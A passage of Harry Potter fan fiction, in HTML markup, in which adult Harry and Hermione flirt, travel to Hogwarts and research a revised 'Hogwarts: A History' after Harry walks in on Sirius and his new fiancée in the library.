hope\nthat he&#8217;d slip and cut his throat while shaving, so he wouldn&#8217;t have to face\nher. His hopes were dashed, when all he achieved was a slight nick on the point\nof his chin. He wrapped a towel around himself, grabbed his night - clothes and\nwent back to his room. Harry hurled his sleeping attire on the bed, grabbed\nclean clothes from his dresser and closet, and got dressed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He went to the kitchen to find that\nHermione had already made coffee. He fixed two cups and went to his study.\nHarry found Hermione there with her nose buried in a huge book. She blushed\nwhen he sat down beside her.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Morning Hermione. Sleep well?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione&#8217;s blush grew brighter.\n&#8220;Actually no, I didn&#8217;t. I had a weird dream that I saw you naked in the shower,\nand I couldn&#8217;t look away.&#8221; She giggled nervously, &#8220;I know it was a dream,\nbecause it&#8217;s way to soon in our relationship for me to see you naked, I mean\nthat just shoots down our agreement.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;re babbling.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, sorry. It&#8217;s just that-.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry put his finger to her lips. &#8220;Shhhh.\nIt&#8217;s alright. We&#8217;re even now. I used to watch you, now you&#8217;ve seen me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Bu-but.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m serious, it&#8217;s no big deal,&#8221; he\nsaid. &#8220;In fact, I think its good that you saw me. Now we&#8217;re on equal footing,\nand can really start our relationship anew.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Are you sure?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes,&#8221; Harry smiled. He put his arm\naround her and squeezed. &#8220;Plus, now we both have something to look forward to,&#8221;\nhe said, grinning wickedly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;HARRY!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What? It&#8217;s true,&#8221; he wriggled his\neyebrows.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m sure,&#8221; She giggled. &#8220;If you\ndid happen to see me naked, you might be surprised. I&#8217;ve changed some things\nsince graduation, and not everything is like it was,&#8221; she hinted.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was Harry&#8217;s turn to gasp, as his\nmind automatically leaped to conclusions. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well uhm.&#8221; He was at a loss for\nwords. &#8220;Hermione, I did not need to know that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione smiled. &#8220;I know. Makes you\nwonder doesn&#8217;t it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes it does.&#8221; Harry said through\ngritted teeth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well then, I guess I&#8217;ll have to\ndouble-check the bathroom door when I take a shower won&#8217;t I?&#8221; she smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Speaking of locking the door,\ndidn&#8217;t you hear the shower running? Why&#8217;d you just walk in?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I was half asleep, and it didn&#8217;t\nregister.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Uh huh.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;It&#8217;s true!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ll bet.&#8221; He said. Harry started\nto say something else, but the look in her eyes told him that he&#8217;d regret it.\nUnable to resist though, and more than a little curious, he pressed on. &#8220;So,\nlike what you saw?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione gaped and turned various\nshades of red. &#8220;HAROLD JAMES POTTER!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You know that&#8217;s not my name\nHermione,&#8221; he smiled. &#8220;C&#8217;mon, you can be honest with me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The only thing I&#8217;ll say is that\nI&#8217;m glad you shaved. Other than that--use your imagination,&#8221; she smiled slyly.\n&#8220;Now, when do you want to make that trip to Hogwarts?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Nice evasion of the question,&#8221;\nHarry smiled. &#8220;But to answer your question, anytime is fine with me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good, then we should go as soon as\npossible.&#8221; She stood up, &#8220;I&#8217;m going to go get dressed. You gather the\nnotebooks.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Alright.&#8221; Harry said as she walked\noff. He set about his task, and when he finished, he settled down with his\ncoffee. His cup was almost empty by the time she returned. He grabbed her bag,\nand stood up. &#8220;Ready?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How are we getting there? I meant\nto ask earlier, but it slipped my mind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m going to Apparate us--.&#8221; He\nheld up a hand to forestall Hermione&#8217;s protest. &#8220;Yes, I know we can&#8217;t Apparate\non Hogwarts&#8217; grounds, but I can Apparate us into the Hogsmeade tunnel right\nbefore it enters the grounds.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh,&#8221; she frowned. &#8220;You said\nApparate <b>US</b>? Harry, a Witch or Wizard can only Apparate themselves, not\nanother person.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked a bit uncomfortable.\n&#8220;I can.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You can? When did you find this\nout?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It&#8217;s a funny story actually. When\nSirius and I were in Rome, he met a woman, an incredibly beautiful, and wealthy\nwoman. They went out every night, parties, Balls, dinners. You name it. Well,\nSirius being the man that he is, he was staying with her at her house. We were\nunaware that this woman was married, and to a very powerful and dangerous man.\nI was out early one morning, and I overheard someone mention the Brit staying with\nthe &#8220;Countess.&#8221; That wasn&#8217;t her title, just a nickname that she was known by.&#8221;\nHe explained.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Anyway, the Brit comment caught my\nattention, so I listened closely. It seemed that the &#8220;Count&#8221; had heard his wife\nwas dallying with another man, and he wanted him dead. The two men talking were\nto tell the &#8220;Countess&#8221; bodyguards to kill the man. I waited until they left,\nthen used the portkey I had given Sirius to lock onto his location. He and the\n&#8220;Countess&#8221; were still asleep, and boy was I relieved to see that he was at\nleast wearing his underwear! She was completely nude, and I admit I found\nmyself staring so long that I kind of lost track of time,&#8221; Harry admitted the\nlast part with a sheepish grin.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione frowned. &#8220;I take it that\nyou liked what you saw.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh yeah,&#8221; Harry&#8217;s eyes took on a\nfar away look. &#8220;Exquisite,&#8221; he whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;As you were saying,&#8221; she said,\nwith a hint of annoyance.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Wha-OH!&#8221; he said. &#8220;Where was I? Oh\nyeah!&nbsp; I was about to wake him, when I\nheard footsteps on the stairs. With no time to think, I grabbed his clothes,\nand his hand and basically willed us back to my hotel room. I was very\nsurprised to see that it worked. I put him on the bed, then woke him up and\nexplained everything. He decided that he had had enough of Rome, and suggested\nwe go someplace else. Quickly. &#8220;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ll bet.&#8221; Said Hermione dryly.\n&#8220;Did that happen often? Sirius meeting some woman and staying with her I mean.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah, I was surprised, but it\nseems that when he was on the run he survived by meeting women and staying with\nthem. I watched him work, and the man is the MASTER. He had women giving him\ntheir phone numbers, addresses, room numbers and heck, I even saw one woman\nwriggle out of her panties, write on them and stick them in his coat pocket.\nAND, this was only ten minutes after meeting him!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Wow!&#8221; Hermione said, amazed. &#8220;I\ncan see their point though. He is charming, very handsome, and incredibly\nsexy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I knew you were going to say that.\nEvery woman we met said that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hmm. I wonder if I should be\noffended that he&#8217;s never came on to me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;HERMIONE!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;He-he-he&#8217;s 42!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, but he doesn&#8217;t look a day\nover 32, and that&#8217;s only 13 years older than me. I&#8217;m well within his age range,\nwhy doesn&#8217;t he show me the same attention he shows Athena?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Athena?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The new Arithmacy teacher Athena\nMcGonagall. She&#8217;s Minerva McGonagall&#8217;s youngest step-sister.&#8221; Hermione\nexplained. &#8220;She&#8217;s taller than me, with glossy black hair and large chest.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How large?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;At least 38D.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That&#8217;s definitely his type,&#8221; Harry\nsaid. &#8220;I saw all kinds of women come on to him, but the only ones he targeted\nspecifically were dark haired and buxom.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Still, I find it odd that he\nflirts with every woman he sees, except me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione, believe me, he <b>noticed</b>\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Then why doesn&#8217;t he flirt with me?\nI&#8217;m not saying I want a relationship with him or anything, but when I see him\nflirt with every attractive woman except me, it&#8217;s insulting.&#8221; Hermione frowned.\n&#8220;It&#8217;s not that I want him coming on to me or anything, but at least a\ncompliment every now and again would be nice.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione, I asked him to behave\naround you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Why?&#8221; she asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry rubbed the back of his neck.\n&#8220;Well, he&#8217;s very experienced with women, and knows how to get what he wants.\nIt&#8217;s conceivable that if he flirted with you, you might take it to mean more\nthan he meant, and offer something he wasn&#8217;t trying to get. Now here&#8217;s the\nproblem, if you offered, he would take it. I&#8217;ve learned this much over the past\nfew years, Sirius does not turn down a willing woman.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh. Do you think Athena is just a passing\nfancy then?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I couldn&#8217;t say. I&#8217;d have to see\nthem together to tell.&#8221; Harry said. &#8220;Now, ready to go?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sure, I&#8217;ll meet you there.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Whoa!&#8221; Harry said quickly. &#8220;You\ncan&#8217;t Apparate there.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Of course I can,&#8221; said Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No, I put up spells to stop anyone\nfrom entering the tunnels.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh. What do I do then?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Put your arms around me, close\nyour eyes and hold on tight. The wards won&#8217;t harm you if you&#8217;re as close as\npossible to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione&#8217;s eyes widened. &#8220;Wards?\nHarry, those are very dangerous. I hope you were careful when you set them up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I was. They won&#8217;t harm anyone\ncoming through the tunnels, but they will prevent entrance into the tunnels. If\nsomeone other than me tries to Apparate into the tunnels, the wards will hurl\nthat person thousands of miles away. I set the ward up kind of like a portkey,\nbut it&#8217;s only activated by the energy of Apparation.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ahhh. Very clever.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I got the idea from something you\nsaid in 7th year. You mentioned that with Dumbledore&#8217;s power, he\nshould fix the spells that keep people from Apparating onto Hogwarts&#8217; grounds\nso that they repel those with evil intent. Or something like that, it&#8217;s been a\nwhile and I just remembered the basic idea.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That&#8217;s close enough,&#8221; said\nHermione. She wrapped her arms around Harry&#8217;s middle and buried her head in his\nchest. &#8220;Ready when you are.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry took a deep breath, inhaling\nher scent. &#8220;Okay, here we go.&#8221; He wrapped both arms around her, and they\ndisappeared. Unlike regular Apparation, Harry didn&#8217;t make an audible &#8220;pop&#8221; when\nhe Apparated. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry kept a close eye on Hermione\nduring the trip. He had never tried to transport anyone through his barriers\nbefore, but theoretically it should work. He released her as soon as they\narrived. He grabbed her face and stared into her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Are you okay? Everything feel\nnormal?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That was different.&#8221; Hermione said\nbreathlessly. Her face was flushed, and her breathing was heavy. &#8220;What was that\nHarry? That didn&#8217;t feel like normal Apparation.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Technically, it wasn&#8217;t Apparation.\nIt was more of a teleportation mixed with Apparation combined with a portkey\neffect,&#8221; he explained. &#8220;Takes some getting used to.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ll say! I feel tingly all over.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It&#8217;ll pass in a few minutes.&#8221; He\nput an arm around her waist to steady her. &#8220;Just lean on me till it passes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione looked around while her\nbody recovered. &#8220;When did you add all the torches?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Months ago.&#8221; He said, &#8220;I nearly\ntook the top of my head off on a low spot, and after that I decided it was too\ndangerous to go through the tunnels without light of some sort.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ouch. I bet that hurt,&#8221; she said.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry rubbed the top of his head in\nmemory. &#8220;It put me on the floor.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh poor baby,&#8221; teased Hermione.\n&#8220;I&#8217;m feeling better, we can go now.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay.&#8221; They continued on their\nway. Harry kept his arm around her waist and an eye on her even though she\nclaimed that everything felt normal again. He was very worried about any\npossible side effects. &#8220;You let me know if anything feels different in any\nway.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, I&#8217;m fine.&#8221; She insisted.\n&#8220;But I&#8217;ll be sure to let you know if I feel anything out of the ordinary.\nOkay?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah. Okay,&#8221; he reluctantly\nagreed. They reached the end of the tunnel, and she discovered that he had\nchanged the chute into stairs. They climbed to the top, and Harry opened the\nsecret entrance inside the witch&#8217;s hump. Harry hopped out first, then reached\nback and gave Hermione a hand.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They were headed for the library\nwhen Hermione snapped her fingers. &#8220;I need to go tell McGonagall that we&#8217;re\nhere and that we&#8217;ll be using the library.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You want me to come with you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That&#8217;s okay, you go head without\nme.&#8221; She started to turn away, but suddenly she spun and gave him a quick kiss\non the cheek. &#8220;See ya there.&#8221; Hermione took off down a side corridor, leaving\nHarry standing in the hallway rubbing his cheek.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Uh&#8230;Okay,&#8221; said Harry. He continued\nto the library, wondering how long it would take Hermione to talk to the\nHeadmistress. He entered the library, and looked around for Madam Pince. Not\nfinding her at her desk, he searched the room. He heard a stifled giggle as he\npassed the Restricted Section. Harry stopped dead in his tracks. Curiosity\npushed manners aside, and he peeked in. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Lying on the floor, his pants\naround his ankles, was Sirius Black. Luckily, Black&#8217;s lower body was covered by\nthe half - dressed woman lying on top of him. Harry quickly averted his eyes,\nand cleared his throat. Both people jumped guiltily, and hurriedly arranged\ntheir clothing. &#8220;Harry! What are you doing here?&#8221; Sirius asked, once he&#8217;d\nsorted himself out</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I could ask you the same thing,&#8221;\nsaid Harry, looking pointedly at the flushed young woman. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sirius Black did something then\nthat was completely out of character for him. He blushed. &#8220;Uh&#8230;yeah, about that.\nI&#8217;d really appreciate it if you kept this between us.&#8221; He scratched his head.\n&#8220;I mean&#8230;If this got out, we could&#8230;we could be in big trouble.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry snickered. &#8220;Is there any\nother kind when you&#8217;re around?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Black frowned. &#8220;Dammit Harry! Will\nyou be serious!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I can&#8217;t be Sirius, you&#8217;re Sirius.&#8221;\nsaid Harry, somehow managing to keep a straight face.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Blast it Harry! Stop doing that!&#8221;\nSirius said through clenched teeth. &#8220;Now is not the time.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sorry, could resist.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I know, I know. Could you please\nput a sock in it though?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah, okay, I won&#8217;t tell anyone,&#8221;\nhe thought a moment, &#8220;well, except Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;NO! Harry, you can&#8217;t tell her of\nall people! She&#8217;ll run to McGonagall, you know she will.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Nah, she&#8217;s lightened up a lot. She\nwon&#8217;t care that you were shagging in the library.&#8221; He paused. &#8220;Actually, she&#8217;d\nprobably think it was sacrilegious, so maybe I won&#8217;t tell her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good man Harry.&#8221; Sirius said. &#8220;Oh!\nI forgot to introduce you to my fianc&#233;e Athena McGonagall.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Your fianc&#233;e? When did this\nhappen?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sirius blushed again. &#8220;Few minutes\nago,&#8221; he mumbled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ahhh, that&#8217;s why you were&#8212;.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Uh&#8230;yeah.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I got ya.&#8221; Harry turned to the\nlady. &#8220;Nice to meet you ma&#8217;am.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The pleasure is all mine,&#8221; said\nAthena.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sirius choked at her words, and\nHarry coughed to cover a laugh. Athena appeared oblivious to the byplay, and\nattempted some small talk.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So Harry, what brings you to\nHogwarts?&#8221; she asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m helping Hermione do some\nresearch.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sirius perked up. &#8220;Really? Over\nwhat?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;She&#8217;s been asked to write a\nrevised edition of Hogwarts: A History.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Black&#8217;s eyebrows shot up and Athena\ngasped. &#8220;Wow! I&#8217;m impressed!&#8221; he said. Athena simply nodded in agreement.\n&#8220;Although I&#8217;m not really surprised, she is brilliant after all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, she is.&#8221; Harry said, with\njust a hint of a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sirius&#8217; eagle eyes caught it however,\nand he looked hard at his godson. &#8220;Whoa, what&#8217;s with the grin?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Grin? What grin?&#8221; Harry asked,\nturning red.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ah ha! What&#8217;s going on with you\nand Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Nothing. What makes you think\nsomething is going on?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry. I know that look.&#8221; Said Sirius\nknowingly. &#8220;Something is up with you and Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry&#8217;s blush intensified, and he\nscuffed the floor with his boot tip. &#8220;It&#8217;s nothing, we&#8217;re just talking about\ndating. No big deal.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Uh huh. C&#8217;mon Harry, you can tell\nme,&#8221; Sirius grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;d rather not talk about it right\nnow.&#8221; Harry said, cutting his eyes towards Athena.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh. Okay, Be sure and let me know\nif you need help with your research.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sure thing Sirius.&#8221; Harry started\nto turn away, but stopped halfway. &#8220;Oh, Sirius. I wanted to thank you for the\npresent. I haven&#8217;t had a chance to go look at it yet, and it will probably be a\nwhile until I do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That&#8217;s okay Harry. It shouldn&#8217;t be\nrushed, take your time.&#8221; He looked at his watch, then at Athena. &#8220;We&#8217;d like to\nstay and talk more Harry, but we have brunch scheduled with Minerva. Later.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Later Sirius.&#8221; Harry turned to\nAthena, then, as Sirius had instructed him during their travels, he bowed. &#8220;It\nwas a pleasure to meet you.&#8221; He grinned suddenly. &#8220;Welcome to the family!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Thank you,&#8221; Athena smiled. She\ntook Sirius arm, and led him away.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry watched them leave. He turned\nback to the Restricted Section, waved his hand, and all traces of their\nindiscretion disappeared. He went to the History section and started grabbing\nbooks that dealt with the past thousand years. There sure were a lot of them\ntoo. He walked through the history section placing spells on the most likely\nones. As he passed them, they flew off the shelves and lined up behind him.\nHarry had amassed an incredible amount of reading material by the time Hermione\njoined him. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">She stopped dead when she saw the\nmountain range of books stacked as high as her head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was buried deep in the center\nof the pile. He heard Hermione muttering as she studied the labyrinth. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, are you in there?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He stood up and looked over the\ntops of the books. &#8220;Here I am.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione circled the pile. &#8220;How do\nI get in there?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smacked his forehead. &#8220;Hang\non, I&#8217;ll get you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Just relax, close your eyes and\ntrust me,&#8221; Harry said. He watched Hermione follow his instructions. He raised\nhis hand, and she rose slowly off the floor. When her feet were level with his\neyes, she floated over the wall of books and to him. Harry gently lowered her\nto his side, and told her to open her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione looked around. &#8220;Wow, this\nis a lot of books.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah,&#8221; said Harry. He sat back\ndown and resumed reading.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione grabbed the closest book,\nseated herself across from him and started reading as well. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked up from his book a few\nminutes later. &#8220;Hermione. What took so long with McGonagall?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione set her book aside. &#8220;I had\nto tell her that you were here with me, and that it was a secret. She told me\nthat the library was at our disposal, and if we needed any help to just ask.\nThat led to a discussion about how my book was coming, and whether or not I\ncould teach a few classes this semester. I told her no, because our research\nwould be taking up almost all of our time.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ahhhhh,&#8221; said Harry, and went back\nto reading.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They read continuously, only\nstopping to take notes. Minutes turned into hours, and Harry&#8217;s stomach alerted\nhim to the fact that it was time to eat. He checked his watch and was surprised\nto see that they had worked well past lunch, and it was close to four o&#8217;clock\nin the afternoon.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You ready to knock off for the day\nHermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah, let me finish writing these\nnotes, and I&#8217;ll be ready to go.&#8221; Hermione scribbled furiously in her notebook\nfor a few seconds, closed it and stood up. &#8220;Okay, I&#8217;m ready,&#8221; she said,\nstuffing the spiral into her bag. &#8220;But what about this mess?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No problem, I&#8217;ll take care of it,&#8221;\nHarry said. He blew on his fingertips then made a lifting motion with his\nhands. The piles of books rose from their places, and attached themselves to\nthe ceiling.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That&#8217;s one way to do it I suppose.\nBut what if Madam Pince comes in, isn&#8217;t she going to see them up there?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione, after growing up around\nyou, do you honestly think I haven&#8217;t thought of that? I used a personalized\ninvisibility spell, and only you and I can see them.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Of course, I should have known\nbetter. Now, let&#8217;s get out of here and head home.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They left the library, and went to\nthe humpbacked witch. Harry opened the secret entrance, and helped Hermione\ninside.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Home. It has such a nice sound to\nit.&#8221; Harry said quietly, as he closed the witch and followed Hermione down the\nstairs.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What was that Harry?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Nothing. Just talking to myself,&#8221;\nHarry said, as he caught up with her. &#8220;Any ideas on what we can do tonight?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;A few. We can go over our notes\nand see if anything stands out. I know how much you love correlating data.&#8221;\nSaid Hermione with a grin.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m going to pretend that I didn&#8217;t\nhear that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione laughed softly, and Harry\nwas struck by the musical quality of her voice. For a moment, he fought the\nurge to drape his arm across her shoulders, but then he gave in. She jumped\nslightly at his touch, then relaxed and snuggled into his side. They walked in\nsilence back to the Apparating point. Harry transported them back to his house,\nand they separated, he to the kitchen for a snack, and she to the bathroom. He\ngathered some crackers, cheese, and a couple of bottles of soda and went to the\nstudy. He set down the food, deposited himself in his chair, and was getting\nready to eat when Hermione walked in. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Huh?&#8221; Harry looked up with a\ncheese cracker poised half way to his mouth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Don&#8217;t you dare ruin your dinner!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I was just going to have a quick\nsnack.&#8221; Harry said, 